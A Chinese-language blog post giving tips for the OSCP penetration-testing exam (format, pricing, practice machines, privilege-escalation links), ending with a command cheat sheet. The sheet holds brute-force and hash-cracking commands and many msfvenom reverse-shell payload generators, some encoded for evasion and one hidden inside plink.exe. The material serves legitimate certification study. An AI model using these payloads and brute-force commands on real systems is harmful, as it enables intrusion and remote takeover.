前言
寫在前面,之前無聊順手考了張OSCP,發現挺簡單的,個人覺得難度約 OSCP > ECSA。 剛好最近滿多朋友在準備這張OSCP證書,所以寫個心得分享下。等證書寄來再補上傳。
對於OSCP有什麼問題,歡迎到Facebook粉專留言,交流。
https://www.facebook.com/LonelyPoPo/
OSCP是什麼 ?
Offensive Security Certified Professional (OSCP)認證,是一個專門針對Kali Linux滲透測試培訓課程的專業認證,由 kali 官方組織頒佈。該考試全程採實戰測驗,考生擁有24小時的時間(實際是23小時45分鐘)去完成考試,具體如何分配時間由考生自己決定。
題目是5臺主機(隨機抽取),目標是想辦法取得最高權限(root/system)。基於難度程度,會獲得相應的分數(70分為及格分數,總分100分)。
24小時結束之後,你還有另外的24小時去完成並提交考試報告(需要用英文詳細說明攻擊步驟、截圖來證明確實攻破並獲得權限,跟Writeup一樣,最保險的作法就是把報告寫成手把手式教學,讓不懂資安的人也能看懂並重現)。
注意:考試期間需在一個人環境下考試且需自備攝影機全程開啟監考、電腦螢幕也會全程監控。
資格條件:無(建議對資安有一定基礎)
價格方案:
根據價格方案,
- 800美金 = 30天 OSCP Lab練習 + 考試卷 x1
- 1000美金 = 60天 OSCP Lab練習 + 考試卷 x1
- 1150美金 = 90天 OSCP Lab練習 + 考試卷 x1
- 150美元 = 重新續考 (這部分請參閱官方說明,會有限制)
如本身已有滲透測試的經驗,對作業系統也熟悉的朋友可以購買30天,其他則建議購買60天以上,因為30天通常會練不完(想想你要上班/上課,有些機器又很難)。
誰適合考OSCP ?
建議本身平常就有滲透測試經驗且熟悉操作Windows/Linux的資安人員,最好懂程式語言(Python、PHP),細心、細心、再細心。
考試會用到大量Exploit-db、Google,當Exp有問題時,要能夠看得懂Exp,並懂得視環境情況修改。
課程資料
Video教學
Lab環境
- 考生透過VPN連接到一大內網裡,Lab環境是學員共用的,所以大家的操作會有些許的影響,其他人可能同時與你在打同一台機器,所以你也有可能看到上一個人留下的攻擊痕跡。但練習前可先將機器重製,通常被影響的情況很小,大家都很守秩序。
- Lab約50多臺主機,有些主機可能擁有多個網卡與關聯性(會有不同的用處)。
- 學員的目標是儘可能取得所有主機上的root/system最高權限,並取得Flag。
Exam環境
- 5臺主機(目標23小時45分攻破)
- 獨立網路環境,不會被任何人影響。
- 考試限制工具要看仔細,例:SQLMAP、自動化弱掃等是禁用的,一旦使用直接0分,詳細請參閱官方說明。
- 考試期間可使用一次MSF,一旦使用不管成功還是失敗,就都無法在其他機器上使用,這點詳細請參閱官方說明。
- 考完試後,另外24小時完成一份英文報告。
- 考試成績是實戰Got Proof File,加上報告(官方有提供模板報告,按照考試要求寫,讀清楚考試要求)。總共達到70分以上算通過。
Forum & IRC
官方論壇與IRC上,會有一些Lab的小小提示,如果遇到問題也可上去詢問,但通常都是點到為止,不會透漏太多情報,這是可以較放心的。
Revert
建議在練習前先進行重製再進行練習,以免其他學員的操作影響到你。
Proof.txt VS. network-secret.txt
Proof.txt 通常是 要想辦法取得的最終Flag
network-secret.txt是開啟下一個網段的鑰匙
考前練習平台
建議以下全部練熟,至少練個30-50台以上,熟悉套路。
Hack The Box:https://www.hackthebox.eu/
Vulnhub:https://www.vulnhub.com/
Root Me:https://www.root-me.org/
Hack The Box 推薦靶機
Linux Boxes | Windows Boxes: |
---|---|
beep | legacy |
cronos | Blue |
nineveh | Devel |
sense | Optimum |
solidstate | Bastard |
kotarak | granny |
node | Arctic |
valentine | grandpa |
poison | silo |
sunday | bounty |
tartarsauce | jerry |
Irked | conceal |
Friendzone | Jeeves |
Jail | Bart |
falafel | Tally |
Devops | Active |
Hawk | Netmon |
Lightweight | |
La Casa De Papel | |
brainfuck | |
shocker | |
bashed | |
nibbles |
Vulnhub 推薦靶機
考試必備
Linux提權
Linux提權指南
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
Linux提權輔助腳本
https://www.securitysift.com/download/linuxprivchecker.py
https://github.com/HappyTreeFriend/linux-exploit-suggester
LinuxExploits
https://github.com/HappyTreeFriend/kernel-exploits
Windows提權
Windows提權指南
http://www.fuzzysecurity.com/tutorials/16.html
Windows提權輔助腳本
https://github.com/pentestmonkey/windows-privesc-check
WindowsExploits
https://github.com/abatchy17/WindowsExploits
考試指令
linux 結果答案截圖:
hostname && whoami && cat proof.txt && /sbin/ifconfig
windows 結果答案截圖:
hostname && whoami.exe && type proof.txt && ipconfig /all
Kali 3389 to Windows
rdesktop -u 帳號 -p 密碼 ip
nmap完整掃描
nmap –A ip –p 1-65535
nmap –sT –T4 ip -p 1-65535
gobuster掃描目錄
gobuster –w /usr/share/wordlists/dirb/common.txt –u ip
python交互式操作
python -c ‘import pty;pty.spawn(“/bin/bash”)’
id_rsa爆破
./rsa_crack.sh id_rsa /usr/share/wordlists/rockyou.txt
Ssh –I id_rsa 帳號@IP
John爆破
john ssh_login --wordlist=/usr/share/wordlists/rockyou.txt
7zip爆破
./7z-crack.sh backup.7z /usr/share/wordlists/rockyou.txt
Gcc編譯
Gcc –o 檔案 檔案.c
Http Server
Python –m SimpHTTPServer 80
Python3 -m http.server 80
rpcclient 空連接:
rpcclient -U "" IP
smb 連線:
smbclient //MOUNT/share
John 爆破相關:
hashcat -m 500 -a 0 hash.txt rockyou.txt --username
Hashcat MD5 Apache webdav file
hashcat -m 1600 -a 0 hash.txt rockyou.txt
Hashcat SHA1
hashcat -m 100 -a 0 hash.txt rockyou.txt --force
Hashcat WordPress
hashcat -m 400 -a 0 --remove hash.txt rockyou.txt
SSH 爆破:
hydra -l user -P pass.txt -t x.x.x.x ssh -s 22
FTP 爆破:
medusa -h x.x.x.x -u user -P passwords.txt -M ftp
MSF 生成 PAYLOAD:
PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=port -f raw -o shell.php
Java WAR reverse shell
msfvenom -p java/shell_reverse_tcp LHOST=IP LPORT=port -f war -o shell.war
Linux bind shell
msfvenom -p linux/x86/shell_bind_tcp LPORT=port -f c -b "\x00\x0a\x0d\x20" -e x86/shikata_ga_nai
Linux FreeBSD reverse shell
msfvenom -p bsd/x64/shell_reverse_tcp LHOST=IP LPORT=port -f elf -o shell.elf
Linux C reverse shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=IP LPORT=port -e x86/shikata_ga_nai -f c
Windows non staged reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=port -e x86/shikata_ga_nai -f exe -o non_staged.exe
Windows Staged (Meterpreter) reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=port -e x86/shikata_ga_nai -f exe -o meterpreter.exe
Windows Python reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=port EXITFUNC=thread -f python -o shell.py
Windows ASP reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=port -f asp -e x86/shikata_ga_nai -o shell.asp
Windows ASPX reverse shell
msfvenom -f aspx -p windows/shell_reverse_tcp LHOST=IP LPORT=port -e x86/shikata_ga_nai -o shell.aspx
Windows JavaScript reverse shell with nops
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=port -f js_le -e generic/none -n 18
Windows Powershell reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=port -e x86/shikata_ga_nai -i 9 -f psh -o shell.ps1
Windows reverse shell excluding bad characters
msfvenom -p windows/shell_reverse_tcp -a x86 LHOST=IP LPORT=port EXITFUNC=thread -f c -b "\x00\x04" -e x86/shikata_ga_nai
Windows x64 bit reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=port -f exe -o shell.exe
Windows reverse shell embedded into plink
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=port -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe
-------------------
如果你認同我們每日分享的文章,請幫我們按個讚並且點擊追蹤「搶先看」,讓我們提供最新消息給您!您的分享及點讚,是我們持續推廣資訊安全最大的動力來源。
https://www.facebook.com/LonelyPoPo/